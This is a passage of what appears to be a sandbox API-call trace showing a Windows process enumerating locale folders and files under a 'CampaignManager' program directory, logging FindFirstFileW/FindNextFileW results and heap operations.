	[0155.129] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.129] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.129] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.130] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0155.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.130] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT") returned 100
	[0155.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.133] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.133] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.133] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.133] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.133] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.133] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.133] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.134] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0155.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.135] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP") returned 100
	[0155.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0155.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.137] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.137] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0155.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.138] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0155.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.138] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR") returned 100
	[0155.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0155.141] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.141] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.141] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.141] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.141] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.141] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.141] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0155.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.142] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1
	[0155.142] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lb-LU", cAlternateFileName="")) returned 1
	[0155.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.142] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU") returned 100
	[0155.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.145] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.145] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.145] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.145] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.145] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.145] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.146] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.146] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0155.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.147] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT") returned 100
	[0155.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.149] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.149] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c77, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.151] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
